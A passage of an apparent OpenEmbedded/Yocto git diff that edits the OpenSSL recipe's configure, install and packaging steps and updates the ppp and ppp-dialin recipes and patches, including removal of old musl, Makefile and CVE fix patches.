+EXTRA_OECONF:class-nativesdk = "--with-rand-seed=os,devrandom"
+
+# Relying on hardcoded built-in paths causes openssl-native to not be relocateable from sstate.
+CFLAGS:append:class-native = " -DOPENSSLDIR=/not/builtin -DENGINESDIR=/not/builtin"
+CFLAGS:append:class-nativesdk = " -DOPENSSLDIR=/not/builtin -DENGINESDIR=/not/builtin"
+
+# This allows disabling deprecated or undesirable crypto algorithms.
+# The default is to trust upstream choices.
+DEPRECATED_CRYPTO_FLAGS ?= ""
+
+do_configure () {
+ os=${HOST_OS}
+ case $os in
+ linux-gnueabi |\
+ linux-gnuspe |\
+ linux-musleabi |\
+ linux-muslspe |\
+ linux-musl )
+ os=linux
+ ;;
+ *)
+ ;;
+ esac
+ target="$os-${HOST_ARCH}"
+ case $target in
+ linux-arc)
+ target=linux-latomic
+ ;;
+ linux-arm*)
+ target=linux-armv4
+ ;;
+ linux-aarch64*)
+ target=linux-aarch64
+ ;;
+ linux-i?86 | linux-viac3)
+ target=linux-x86
+ ;;
+ linux-gnux32-x86_64 | linux-muslx32-x86_64 )
+ target=linux-x32
+ ;;
+ linux-gnu64-x86_64)
+ target=linux-x86_64
+ ;;
+ linux-mips | linux-mipsel)
+ # specifying TARGET_CC_ARCH prevents openssl from (incorrectly) adding target architecture flags
+ target="linux-mips32 ${TARGET_CC_ARCH}"
+ ;;
+ linux-gnun32-mips*)
+ target=linux-mips64
+ ;;
+ linux-*-mips64 | linux-mips64 | linux-*-mips64el | linux-mips64el)
+ target=linux64-mips64
+ ;;
+ linux-microblaze* | linux-nios2* | linux-sh3 | linux-sh4 | linux-arc*)
+ target=linux-generic32
+ ;;
+ linux-powerpc)
+ target=linux-ppc
+ ;;
+ linux-powerpc64)
+ target=linux-ppc64
+ ;;
+ linux-powerpc64le)
+ target=linux-ppc64le
+ ;;
+ linux-riscv32)
+ target=linux-generic32
+ ;;
+ linux-riscv64)
+ target=linux-generic64
+ ;;
+ linux-sparc | linux-supersparc)
+ target=linux-sparcv9
+ ;;
+ mingw32-x86_64)
+ target=mingw64
+ ;;
+ esac
+
+ useprefix=${prefix}
+ if [ "x$useprefix" = "x" ]; then
+ useprefix=/
+ fi
+ # WARNING: do not set compiler/linker flags (-I/-D etc.) in EXTRA_OECONF, as they will fully replace the
+ # environment variables set by bitbake. Adjust the environment variables instead.
+ HASHBANGPERL="/usr/bin/env perl" PERL=perl PERL5LIB="${S}/external/perl/Text-Template-1.46/lib/" \
+ perl ${S}/Configure ${EXTRA_OECONF} ${PACKAGECONFIG_CONFARGS} ${DEPRECATED_CRYPTO_FLAGS} --prefix=$useprefix --openssldir=${libdir}/ssl-3 --libdir=${libdir} $target
+ perl ${B}/configdata.pm --dump
+}
+
+do_install () {
+ oe_runmake DESTDIR="${D}" MANDIR="${mandir}" MANSUFFIX=ssl install
+
+ oe_multilib_header openssl/opensslconf.h
+ oe_multilib_header openssl/configuration.h
+
+ # Create SSL structure for packages such as ca-certificates which
+ # contain hard-coded paths to /etc/ssl. Debian does the same.
+ install -d ${D}${sysconfdir}/ssl
+ mv ${D}${libdir}/ssl-3/certs \
+ ${D}${libdir}/ssl-3/private \
+ ${D}${libdir}/ssl-3/openssl.cnf \
+ ${D}${sysconfdir}/ssl/
+
+ # Although absolute symlinks would be OK for the target, they become
+ # invalid if native or nativesdk are relocated from sstate.
+ ln -sf ${@oe.path.relative('${libdir}/ssl-3', '${sysconfdir}/ssl/certs')} ${D}${libdir}/ssl-3/certs
+ ln -sf ${@oe.path.relative('${libdir}/ssl-3', '${sysconfdir}/ssl/private')} ${D}${libdir}/ssl-3/private
+ ln -sf ${@oe.path.relative('${libdir}/ssl-3', '${sysconfdir}/ssl/openssl.cnf')} ${D}${libdir}/ssl-3/openssl.cnf
+}
+
+do_install:append:class-native () {
+ create_wrapper ${D}${bindir}/openssl \
+ OPENSSL_CONF=${libdir}/ssl-3/openssl.cnf \
+ SSL_CERT_DIR=${libdir}/ssl-3/certs \
+ SSL_CERT_FILE=${libdir}/ssl-3/cert.pem \
+ OPENSSL_ENGINES=${libdir}/engines-3
+}
+
+do_install:append:class-nativesdk () {
+ mkdir -p ${D}${SDKPATHNATIVE}/environment-setup.d
+ install -m 644 ${WORKDIR}/environment.d-openssl.sh ${D}${SDKPATHNATIVE}/environment-setup.d/openssl.sh
+ sed 's|/usr/lib/ssl/|/usr/lib/ssl-3/|g' -i ${D}${SDKPATHNATIVE}/environment-setup.d/openssl.sh
+}
+
+PTEST_BUILD_HOST_FILES += "configdata.pm"
+PTEST_BUILD_HOST_PATTERN = "perl_version ="
+do_install_ptest () {
+ install -d ${D}${PTEST_PATH}/test
+ install -m755 ${B}/test/p_test.so ${D}${PTEST_PATH}/test
+ install -m755 ${B}/test/provider_internal_test.cnf ${D}${PTEST_PATH}/test
+
+ # Prune the build tree
+ rm -f ${B}/fuzz/*.* ${B}/test/*.*
+
+ cp ${S}/Configure ${B}/configdata.pm ${D}${PTEST_PATH}
+ sed 's|${S}|${PTEST_PATH}|g' -i ${D}${PTEST_PATH}/configdata.pm
+ cp -r ${S}/external ${B}/test ${S}/test ${B}/fuzz ${S}/util ${B}/util ${D}${PTEST_PATH}
+
+ # For test_shlibload
+ ln -s ${libdir}/libcrypto.so.1.1 ${D}${PTEST_PATH}/
+ ln -s ${libdir}/libssl.so.1.1 ${D}${PTEST_PATH}/
+
+ install -d ${D}${PTEST_PATH}/apps
+ ln -s ${bindir}/openssl ${D}${PTEST_PATH}/apps
+ install -m644 ${S}/apps/*.pem ${S}/apps/*.srl ${S}/apps/openssl.cnf ${D}${PTEST_PATH}/apps
+ install -m755 ${B}/apps/CA.pl ${D}${PTEST_PATH}/apps
+
+ install -d ${D}${PTEST_PATH}/engines
+ install -m755 ${B}/engines/ossltest.so ${D}${PTEST_PATH}/engines
+ install -m755 ${B}/engines/loader_attic.so ${D}${PTEST_PATH}/engines
+
+ install -d ${D}${PTEST_PATH}/providers
+ install -m755 ${B}/providers/legacy.so ${D}${PTEST_PATH}/providers
+
+ install -d ${D}${PTEST_PATH}/Configurations
+ cp -rf ${S}/Configurations/* ${D}${PTEST_PATH}/Configurations/
+
+ # seems to be needed with perl 5.32.1
+ install -d ${D}${PTEST_PATH}/util/perl/recipes
+ cp ${D}${PTEST_PATH}/test/recipes/tconversion.pl ${D}${PTEST_PATH}/util/perl/recipes/
+
+ sed 's|${S}|${PTEST_PATH}|g' -i ${D}${PTEST_PATH}/util/wrap.pl
+
+}
+
+# Add the openssl.cnf file to the openssl-conf package. Make the libcrypto
+# package RRECOMMENDS on this package. This will enable the configuration
+# file to be installed for both the openssl-bin package and the libcrypto
+# package since the openssl-bin package depends on the libcrypto package.
+
+PACKAGES =+ "libcrypto libssl openssl-conf ${PN}-engines ${PN}-misc"
+
+FILES:libcrypto = "${libdir}/libcrypto${SOLIBS}"
+FILES:libssl = "${libdir}/libssl${SOLIBS}"
+FILES:openssl-conf = "${sysconfdir}/ssl/openssl.cnf \
+ ${libdir}/ssl-3/openssl.cnf* \
+ "
+FILES:${PN}-engines = "${libdir}/engines-3"
+# ${prefix} comes from what we pass into --prefix at configure time (which is used for INSTALLTOP)
+FILES:${PN}-engines:append:mingw32:class-nativesdk = " ${prefix}${libdir}/engines-3"
+FILES:${PN}-misc = "${libdir}/ssl-3/misc ${bindir}/c_rehash"
+FILES:${PN} =+ "${libdir}/ssl-3/* ${libdir}/ossl-modules/"
+FILES:${PN}:append:class-nativesdk = " ${SDKPATHNATIVE}/environment-setup.d/openssl.sh"
+
+CONFFILES:openssl-conf = "${sysconfdir}/ssl/openssl.cnf"
+
+RRECOMMENDS:libcrypto += "openssl-conf"
+RDEPENDS:${PN}-misc = "perl"
+RDEPENDS:${PN}-ptest += "openssl-bin perl perl-modules bash"
+
+RDEPENDS:${PN}-bin += "openssl-conf"
+
+BBCLASSEXTEND = "native nativesdk"
+
+CVE_PRODUCT = "openssl:openssl"
+
+CVE_VERSION_SUFFIX = "alphabetical"
+
+# Only affects OpenSSL >= 1.1.1 in combination with Apache < 2.4.37
+# Apache in meta-webserver is already recent enough
+CVE_CHECK_WHITELIST += "CVE-2019-0190"
diff --git a/meta/recipes-connectivity/ppp-dialin/ppp-dialin_0.1.bb b/meta/recipes-connectivity/ppp-dialin/ppp-dialin_0.1.bb
index b5f68951d7..8a6c297cb0 100644
--- a/meta/recipes-connectivity/ppp-dialin/ppp-dialin_0.1.bb
+++ b/meta/recipes-connectivity/ppp-dialin/ppp-dialin_0.1.bb
@@ -1,7 +1,8 @@
SUMMARY = "Enables PPP dial-in through a serial connection"
SECTION = "console/network"
+DESCRIPTION = "PPP dail-in provides a point to point protocol (PPP), so that other computers can dial up to it and access connected networks."
DEPENDS = "ppp"
-RDEPENDS_${PN} = "ppp"
+RDEPENDS:${PN} = "ppp"
PR = "r8"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
@@ -22,6 +23,6 @@ do_install() {
}
USERADD_PACKAGES = "${PN}"
-USERADD_PARAM_${PN} = "--system --home /dev/null \
+USERADD_PARAM:${PN} = "--system --home /dev/null \
--no-create-home --shell ${sbindir}/ppp-dialin \
--no-user-group --gid nogroup ppp"
diff --git a/meta/recipes-connectivity/ppp/ppp/0001-Fix-build-with-musl.patch b/meta/recipes-connectivity/ppp/ppp/0001-Fix-build-with-musl.patch
deleted file mode 100644
index 65291368bd..0000000000
--- a/meta/recipes-connectivity/ppp/ppp/0001-Fix-build-with-musl.patch
+++ /dev/null
@@ -1,124 +0,0 @@
-From e50cdaed07e51f2508f94eb1f34fe43776e4ca78 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 29 May 2015 14:57:05 -0700
-Subject: [PATCH] Fix build with musl
-
-There are several assumption about glibc
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Pending
----
- include/net/ppp_defs.h | 2 ++
- pppd/Makefile.linux | 2 +-
- pppd/plugins/rp-pppoe/config.h | 3 ++-
- pppd/plugins/rp-pppoe/plugin.c | 1 -
- pppd/plugins/rp-pppoe/pppoe-discovery.c | 8 ++++----
- pppd/plugins/rp-pppoe/pppoe.h | 2 +-
- pppd/sys-linux.c | 3 ++-
- 7 files changed, 12 insertions(+), 9 deletions(-)
-
-diff --git a/include/net/ppp_defs.h b/include/net/ppp_defs.h
-index b06eda5..dafa36c 100644
---- a/include/net/ppp_defs.h
-+++ b/include/net/ppp_defs.h
-@@ -38,6 +38,8 @@
- #ifndef _PPP_DEFS_H_
- #define _PPP_DEFS_H_
-
-+#include <sys/time.h>
-+
- /*
- * The basic PPP frame.
- */
-diff --git a/pppd/Makefile.linux b/pppd/Makefile.linux
-index 4e485a1..76411bc 100644
---- a/pppd/Makefile.linux
-+++ b/pppd/Makefile.linux
-@@ -131,7 +131,7 @@ LIBS += -lcrypt
- endif
-
- ifdef USE_LIBUTIL
--CFLAGS += -DHAVE_LOGWTMP=1
-+#CFLAGS += -DHAVE_LOGWTMP=1
- LIBS += -lutil
- endif
-
-diff --git a/pppd/plugins/rp-pppoe/config.h b/pppd/plugins/rp-pppoe/config.h
-index a708859..4a16a88 100644
---- a/pppd/plugins/rp-pppoe/config.h
-+++ b/pppd/plugins/rp-pppoe/config.h
-@@ -78,8 +78,9 @@
- #define HAVE_NET_IF_ARP_H 1
-
- /* Define if you have the <net/ethernet.h> header file. */
-+#ifdef __GLIBC__
- #define HAVE_NET_ETHERNET_H 1
--
-+#endif
- /* Define if you have the <net/if.h> header file. */
- #define HAVE_NET_IF_H 1
-
-diff --git a/pppd/plugins/rp-pppoe/plugin.c b/pppd/plugins/rp-pppoe/plugin.c
-index 44e0c31..93c0906 100644
---- a/pppd/plugins/rp-pppoe/plugin.c
-+++ b/pppd/plugins/rp-pppoe/plugin.c
-@@ -46,7 +46,6 @@ static char const RCSID[] =
- #include <unistd.h>
- #include <fcntl.h>
- #include <signal.h>
--#include <net/ethernet.h>
- #include <net/if_arp.h>
- #include <linux/ppp_defs.h>
- #include <linux/if_pppox.h>
-diff --git a/pppd/plugins/rp-pppoe/pppoe-discovery.c b/pppd/plugins/rp-pppoe/pppoe-discovery.c
-index f19c6d8..f45df2c 100644
---- a/pppd/plugins/rp-pppoe/pppoe-discovery.c
-+++ b/pppd/plugins/rp-pppoe/pppoe-discovery.c
-@@ -29,10 +29,6 @@
- #include <linux/if_packet.h>
- #endif
-
--#ifdef HAVE_NET_ETHERNET_H
--#include <net/ethernet.h>
--#endif
--
- #ifdef HAVE_ASM_TYPES_H
- #include <asm/types.h>
- #endif
-diff --git a/pppd/plugins/rp-pppoe/pppoe.h b/pppd/plugins/rp-pppoe/pppoe.h
-index a4e7d5c..de191c8 100644
---- a/pppd/plugins/rp-pppoe/pppoe.h
-+++ b/pppd/plugins/rp-pppoe/pppoe.h
-@@ -90,7 +90,7 @@ typedef unsigned long UINT32_t;
- #ifdef HAVE_SYS_SOCKET_H
- #include <sys/socket.h>
- #endif
--#ifndef HAVE_SYS_DLPI_H
-+#if !defined HAVE_SYS_DLPI_H && defined HAVE_NET_ETHERNET_H
- #include <netinet/if_ether.h>
- #endif
- #endif
-diff --git a/pppd/sys-linux.c b/pppd/sys-linux.c
-index a0531e9..84ee394 100644
---- a/pppd/sys-linux.c
-+++ b/pppd/sys-linux.c
-@@ -112,7 +112,7 @@
- #include <linux/types.h>
- #include <linux/if.h>
- #include <linux/if_arp.h>
--#include <linux/route.h>
-+/* #include <linux/route.h> */
- #include <linux/if_ether.h>
- #endif
- #include <netinet/in.h>
-@@ -145,6 +145,7 @@
- #endif
-
- #ifdef INET6
-+#include <net/route.h>
- #ifndef _LINUX_IN6_H
- /*
- * This is in linux/include/net/ipv6.h.
---
-2.17.1
-
diff --git a/meta/recipes-connectivity/ppp/ppp/0001-ppp-Remove-unneeded-include.patch b/meta/recipes-connectivity/ppp/ppp/0001-ppp-Remove-unneeded-include.patch
deleted file mode 100644
index a32f89fbc8..0000000000
--- a/meta/recipes-connectivity/ppp/ppp/0001-ppp-Remove-unneeded-include.patch
+++ /dev/null
@@ -1,43 +0,0 @@
-commit cd90fd147844a0cfec101f1e2db7a3c59d236621
-Author: Jussi Kukkonen <jussi.kukkonen@intel.com>
-Date: Wed Dec 28 14:11:22 2016 +0200
-
-pppol2tp plugin: Remove unneeded include
-
-The include is not required and will break compile on musl libc with
-
-| In file included from pppol2tp.c:34:0:
-| /usr/include/linux/if.h:97:2: error: expected identifier before numeric constant
-| IFF_LOWER_UP = 1<<16, /* __volatile__ */
-
-Patch originally from Khem Raj.
-
-Upstream-Status: Pending [https://github.com/paulusmack/ppp/issues/73]
-Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
-
-diff --git a/pppd/plugins/pppol2tp/openl2tp.c b/pppd/plugins/pppol2tp/openl2tp.c
-index 9643b96..458316b 100644
---- a/pppd/plugins/pppol2tp/openl2tp.c
-+++ b/pppd/plugins/pppol2tp/openl2tp.c
-@@ -47,7 +47,6 @@
- #include <linux/if_ether.h>
- #include <linux/ppp_defs.h>
- #include <linux/if_ppp.h>
--#include <linux/if_pppox.h>
- #include <linux/if_pppol2tp.h>
-
- #include "l2tp_event.h"
-diff --git a/pppd/plugins/pppol2tp/pppol2tp.c b/pppd/plugins/pppol2tp/pppol2tp.c
-index 0e28606..4f6d98c 100644
---- a/pppd/plugins/pppol2tp/pppol2tp.c
-+++ b/pppd/plugins/pppol2tp/pppol2tp.c
-@@ -46,7 +46,6 @@
- #include <linux/if_ether.h>
- #include <linux/ppp_defs.h>
- #include <linux/if_ppp.h>
--#include <linux/if_pppox.h>
- #include <linux/if_pppol2tp.h>
-
- /* should be added to system's socket.h... */
----
-
diff --git a/meta/recipes-connectivity/ppp/ppp/0001-ppp-fix-build-against-5.15-headers.patch b/meta/recipes-connectivity/ppp/ppp/0001-ppp-fix-build-against-5.15-headers.patch
new file mode 100644
index 0000000000..c91246dbf5
--- /dev/null
+++ b/meta/recipes-connectivity/ppp/ppp/0001-ppp-fix-build-against-5.15-headers.patch
@@ -0,0 +1,36 @@
+From aba3273273e826c6dc90f197ca9a3e800e826891 Mon Sep 17 00:00:00 2001
+From: Bruce Ashfield <bruce.ashfield@gmail.com>
+Date: Fri, 5 Nov 2021 12:41:35 -0400
+Subject: [PATCH] ppp: fix build against 5.15 headers
+
+The 5.15 kernel has removed ipx support, along with the userspace
+visible header.
+
+This support wasn't used previously (as it hasn't been very well
+maintained in the kernel for several years), so we can simply
+disable it in our build and wait for upstream to do a release that
+drops the support.
+
+Upstream-Status: Inappropriate [OE-specific configuration/headers]
+
+Signed-off-by: Bruce Ashfield <bruce.ashfield@gmail.com>
+---
+ pppd/Makefile.linux | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/pppd/Makefile.linux b/pppd/Makefile.linux
+index 22837c5..23b9b22 100644
+--- a/pppd/Makefile.linux
++++ b/pppd/Makefile.linux
+@@ -91,7 +91,7 @@ MAXOCTETS=y
+
+ INCLUDE_DIRS= -I../include
+
+-COMPILE_FLAGS= -DHAVE_PATHS_H -DIPX_CHANGE -DHAVE_MMAP -pipe
++COMPILE_FLAGS= -DHAVE_PATHS_H -DHAVE_MMAP -pipe
+
+ CFLAGS= $(COPTS) $(COMPILE_FLAGS) $(INCLUDE_DIRS) '-DDESTDIR="@DESTDIR@"'
+
+--
+2.25.1
+
diff --git a/meta/recipes-connectivity/ppp/ppp/0001-pppd-Fix-bounds-check-in-EAP-code.patch b/meta/recipes-connectivity/ppp/ppp/0001-pppd-Fix-bounds-check-in-EAP-code.patch
deleted file mode 100644
index b7ba7ba643..0000000000
--- a/meta/recipes-connectivity/ppp/ppp/0001-pppd-Fix-bounds-check-in-EAP-code.patch
+++ /dev/null
@@ -1,47 +0,0 @@
-From 8d7970b8f3db727fe798b65f3377fe6787575426 Mon Sep 17 00:00:00 2001
-From: Paul Mackerras <paulus@ozlabs.org>
-Date: Mon, 3 Feb 2020 15:53:28 +1100
-Subject: [PATCH] pppd: Fix bounds check in EAP code
-
-Given that we have just checked vallen < len, it can never be the case
-that vallen >= len + sizeof(rhostname). This fixes the check so we
-actually avoid overflowing the rhostname array.
-
-Reported-by: Ilja Van Sprundel <ivansprundel@ioactive.com>
-Signed-off-by: Paul Mackerras <paulus@ozlabs.org>
-
-Upstream-Status: Backport
-[https://github.com/paulusmack/ppp/commit/8d7970b8f3db727fe798b65f3377fe6787575426]
-
-CVE: CVE-2020-8597
-
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- pppd/eap.c | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/pppd/eap.c b/pppd/eap.c
-index 94407f5..1b93db0 100644
---- a/pppd/eap.c
-+++ b/pppd/eap.c
-@@ -1420,7 +1420,7 @@ int len;
- }
-
- /* Not so likely to happen. */
-- if (vallen >= len + sizeof (rhostname)) {
-+ if (len - vallen >= sizeof (rhostname)) {
- dbglog("EAP: trimming really long peer name down");
- BCOPY(inp + vallen, rhostname, sizeof (rhostname) - 1);
- rhostname[sizeof (rhostname) - 1] = '\0';
-@@ -1846,7 +1846,7 @@ int len;
- }
-
- /* Not so likely to happen. */
-- if (vallen >= len + sizeof (rhostname)) {
-+ if (len - vallen >= sizeof (rhostname)) {
- dbglog("EAP: trimming really long peer name down");
- BCOPY(inp + vallen, rhostname, sizeof (rhostname) - 1);
- rhostname[sizeof (rhostname) - 1] = '\0';
---
-2.17.1
-
diff --git a/meta/recipes-connectivity/ppp/ppp/copts.patch b/meta/recipes-connectivity/ppp/ppp/copts.patch
deleted file mode 100644
index 53ff06e03e..0000000000
--- a/meta/recipes-connectivity/ppp/ppp/copts.patch
+++ /dev/null
@@ -1,21 +0,0 @@
-ppp: use build system CFLAGS when compiling
-
-Upstream-Status: Pending
-
-Override the hard-coded COPTS make variables with
-CFLAGS. Add COPTS into one Makefile that did not
-use it.
-
-Signed-off-by: Joe Slater <jslater@windriver.com>
-
---- a/pppd/plugins/radius/Makefile.linux
-+++ b/pppd/plugins/radius/Makefile.linux
-@@ -12,7 +12,7 @@ VERSION = $(shell awk -F '"' '/VERSION/
- INSTALL = install
-
- PLUGIN=radius.so radattr.so radrealms.so
--CFLAGS=-I. -I../.. -I../../../include -O2 -fPIC -DRC_LOG_FACILITY=LOG_DAEMON
-+CFLAGS=-I. -I../.. -I../../../include $(COPTS) -fPIC -DRC_LOG_FACILITY=LOG_DAEMON
-
- # Uncomment the next line to include support for Microsoft's
- # MS-CHAP authentication protocol.
diff --git a/meta/recipes-connectivity/ppp/ppp/fix-CVE-2015-3310.patch b/meta/recipes-connectivity/ppp/ppp/fix-CVE-2015-3310.patch
deleted file mode 100644
index c5a0be86f5..0000000000
--- a/meta/recipes-connectivity/ppp/ppp/fix-CVE-2015-3310.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-ppp: Buffer overflow in radius plugin
-
-From: https://bugs.debian.org/cgi-bin/bugreport.cgi?msg=5;bug=782450
-
-Upstream-Status: Backport
-CVE: CVE-2015-3310
-
-On systems with more than 65535 processes running, pppd aborts when
-sending a "start" accounting message to the RADIUS server because of a
-buffer overflow in rc_mksid.
-
-The process id is used in rc_mksid to generate a pseudo-unique string,
-assuming that the hex representation of the pid will be at most 4
-characters (FFFF). __sprintf_chk(), used when compiling with
-optimization levels greater than 0 and FORTIFY_SOURCE, detects the
-buffer overflow and makes pppd crash.
-
-The following patch fixes the problem.
-
---- ppp-2.4.6.orig/pppd/plugins/radius/util.c
-+++ ppp-2.4.6/pppd/plugins/radius/util.c
-@@ -77,7 +77,7 @@ rc_mksid (void)
- static unsigned short int cnt = 0;
- sprintf (buf, "%08lX%04X%02hX",
- (unsigned long int) time (NULL),
-- (unsigned int) getpid (),
-+ (unsigned int) getpid () % 65535,
- cnt & 0xFF);
- cnt++;
- return buf;
diff --git a/meta/recipes-connectivity/ppp/ppp/makefile-remove-hard-usr-reference.patch b/meta/recipes-connectivity/ppp/ppp/makefile-remove-hard-usr-reference.patch
deleted file mode 100644
index 614a474c37..0000000000
--- a/meta/recipes-connectivity/ppp/ppp/makefile-remove-hard-usr-reference.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From 505705d0e1b55ce3fdc10d0e5eab5488f869adb6 Mon Sep 17 00:00:00 2001
-From: Andreas Oberritter <obi@opendreambox.org>
-Date: Thu, 1 Jul 2010 14:34:12 +0800
-Subject: [PATCH] ppp: Upgraded to version 2.4.5
-
-The patch comes from OpenEmbedded.
-Rebased for ppp-2.4.5. Dongxiao Xu <dongxiao.xu@intel.com>
-
-Updated from OE-Classic to include the pcap hunk.
-Signed-off-by: Andreas Oberritter <obi@opendreambox.org>
-
-Upstream-Status: Inappropriate [configuration]
-
----
- pppd/Makefile.linux | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/pppd/Makefile.linux b/pppd/Makefile.linux
-index 4e485a1..44c4193 100644
---- a/pppd/Makefile.linux
-+++ b/pppd/Makefile.linux
-@@ -188,10 +188,10 @@ LIBS += -ldl
- endif
-
- ifdef FILTER
--ifneq ($(wildcard /usr/include/pcap-bpf.h),)
-+#ifneq ($(wildcard /usr/include/pcap-bpf.h),)
- LIBS += -lpcap
- CFLAGS += -DPPP_FILTER
--endif
-+#endif
- endif
-
- ifdef HAVE_INET6
diff --git a/meta/recipes-connectivity/ppp/ppp/makefile.patch b/meta/recipes-connectivity/ppp/ppp/makefile.patch
deleted file mode 100644
index 25b8ded441..0000000000
--- a/meta/recipes-connectivity/ppp/ppp/makefile.patch
+++ /dev/null
@@ -1,115 +0,0 @@
-From f7fb1d1abfa6d208fb40fca1602e0c488108f1b5 Mon Sep 17 00:00:00 2001
-From: Richard Purdie <richard@openedhand.com>
-Date: Wed, 31 Aug 2005 10:45:47 +0000
-Subject: [PATCH] Initial population
-
-The patch comes from OpenEmbedded
-Rebased for ppp-2.4.5. Dongxiao Xu <dongxiao.xu@intel.com>
-
-Upstream-Status: Inappropriate [configuration]
-
----
- chat/Makefile.linux | 2 +-
- pppd/Makefile.linux | 4 ++--
- pppd/plugins/radius/Makefile.linux | 10 +++++-----
- pppd/plugins/rp-pppoe/Makefile.linux | 4 ++--
- pppdump/Makefile.linux | 2 +-
- pppstats/Makefile.linux | 2 +-
- 6 files changed, 12 insertions(+), 12 deletions(-)
-
-diff --git a/chat/Makefile.linux b/chat/Makefile.linux
-index 0732ec8..f082dab 100644
---- a/chat/Makefile.linux
-+++ b/chat/Makefile.linux
-@@ -25,7 +25,7 @@ chat.o: chat.c
-
- install: chat
- mkdir -p $(BINDIR) $(MANDIR)
-- $(INSTALL) -s -c chat $(BINDIR)
-+ $(INSTALL) -c chat $(BINDIR)
- $(INSTALL) -c -m 644 chat.8 $(MANDIR)
-
- clean:
-diff --git a/pppd/Makefile.linux b/pppd/Makefile.linux
-index 9664f70..4e485a1 100644
---- a/pppd/Makefile.linux
-+++ b/pppd/Makefile.linux
-@@ -107,7 +107,7 @@ ifdef USE_SRP
- CFLAGS += -DUSE_SRP -DOPENSSL -I/usr/local/ssl/include
- LIBS += -lsrp -L/usr/local/ssl/lib -lcrypto
- TARGETS += srp-entry
--EXTRAINSTALL = $(INSTALL) -s -c -m 555 srp-entry $(BINDIR)/srp-entry
-+EXTRAINSTALL = $(INSTALL) -c -m 555 srp-entry $(BINDIR)/srp-entry
- MANPAGES += srp-entry.8
- EXTRACLEAN += srp-entry.o
- NEEDDES=y
-@@ -219,7 +219,7 @@ all: $(TARGETS)
- install: pppd
- mkdir -p $(BINDIR) $(MANDIR)
- $(EXTRAINSTALL)
-- $(INSTALL) -s -c -m 555 pppd $(BINDIR)/pppd
-+ $(INSTALL) -c -m 555 pppd $(BINDIR)/pppd
- if chgrp pppusers $(BINDIR)/pppd 2>/dev/null; then \
- chmod o-rx,u+s $(BINDIR)/pppd; fi
- $(INSTALL) -c -m 444 pppd.8 $(MANDIR)
-diff --git a/pppd/plugins/radius/Makefile.linux b/pppd/plugins/radius/Makefile.linux
-index e702263..af57ae3 100644
---- a/pppd/plugins/radius/Makefile.linux
-+++ b/pppd/plugins/radius/Makefile.linux
-@@ -36,11 +36,11 @@ all: $(PLUGIN)
-
- install: all
- $(INSTALL) -d -m 755 $(LIBDIR)
-- $(INSTALL) -s -c -m 755 radius.so $(LIBDIR)
-- $(INSTALL) -s -c -m 755 radattr.so $(LIBDIR)
-- $(INSTALL) -s -c -m 755 radrealms.so $(LIBDIR)
-- $(INSTALL) -c -m 444 pppd-radius.8 $(MANDIR)
-- $(INSTALL) -c -m 444 pppd-radattr.8 $(MANDIR)
-+ $(INSTALL) -c -m 755 radius.so $(LIBDIR)
-+ $(INSTALL) -c -m 755 radattr.so $(LIBDIR)
-+ $(INSTALL) -c -m 755 radrealms.so $(LIBDIR)
-+ $(INSTALL) -m 444 pppd-radius.8 $(MANDIR)
-+ $(INSTALL) -m 444 pppd-radattr.8 $(MANDIR)
-
- radius.so: radius.o libradiusclient.a
- $(CC) $(LDFLAGS) -o radius.so -shared radius.o libradiusclient.a
-diff --git a/pppd/plugins/rp-pppoe/Makefile.linux b/pppd/plugins/rp-pppoe/Makefile.linux
-index 749ccc2..2c93f4a 100644
---- a/pppd/plugins/rp-pppoe/Makefile.linux
-+++ b/pppd/plugins/rp-pppoe/Makefile.linux
-@@ -43,9 +43,9 @@ rp-pppoe.so: plugin.o discovery.o if.o common.o
-
- install: all
- $(INSTALL) -d -m 755 $(LIBDIR)
-- $(INSTALL) -s -c -m 4550 rp-pppoe.so $(LIBDIR)
-+ $(INSTALL) -c -m 4550 rp-pppoe.so $(LIBDIR)
- $(INSTALL) -d -m 755 $(BINDIR)
-- $(INSTALL) -s -c -m 555 pppoe-discovery $(BINDIR)
-+ $(INSTALL) -c -m 555 pppoe-discovery $(BINDIR)
-
- clean:
- rm -f *.o *.so pppoe-discovery
-diff --git a/pppdump/Makefile.linux b/pppdump/Makefile.linux
-index cdf7ac4..0457561 100644
---- a/pppdump/Makefile.linux
-+++ b/pppdump/Makefile.linux
-@@ -17,5 +17,5 @@ clean:
-
- install:
- mkdir -p $(BINDIR) $(MANDIR)
-- $(INSTALL) -s -c pppdump $(BINDIR)
-+ $(INSTALL) -c pppdump $(BINDIR)
- $(INSTALL) -c -m 444 pppdump.8 $(MANDIR)
-diff --git a/pppstats/Makefile.linux b/pppstats/Makefile.linux
-index 71afbe6..1819370 100644
---- a/pppstats/Makefile.linux
-+++ b/pppstats/Makefile.linux
-@@ -22,7 +22,7 @@ all: pppstats
-
- install: pppstats
- -mkdir -p $(MANDIR)
-- $(INSTALL) -s -c pppstats $(BINDIR)
-+ $(INSTALL) -c pppstats $(BINDIR)
- $(INSTALL) -c -m 444 pppstats.8 $(MANDIR)
-
- pppstats: $(PPPSTATSRCS)
diff --git a/meta/recipes-connectivity/ppp/ppp/makefix.patch b/meta/recipes-connectivity/ppp/ppp/makefix.patch
new file mode 100644
index 0000000000..fce068cae0
--- /dev/null
+++ b/meta/recipes-connectivity/ppp/ppp/makefix.patch
@@ -0,0 +1,40 @@
+We were seeing reproducibility issues where one host would use the internal
+logwtmp wrapper, another would use the one in libutil. The issue was that in
+some cases the "\#include" was making it to CC, in others, "#include". The
+issue seems to be related to shell escaping.
+
+The root cause looks to be:
+http://git.savannah.gnu.org/cgit/make.git/commit/?id=c6966b323811c37acedff05b576b907b06aea5f4
+
+Instead of relying on shell quoting, use make to indirect the variable
+and avoid the problem.
+
+See https://github.com/paulusmack/ppp/issues/233
+
+Upstream-Status: Backport [https://github.com/paulusmack/ppp/commit/b4430f7092ececdff2504d5f3393a4c6528c3686]
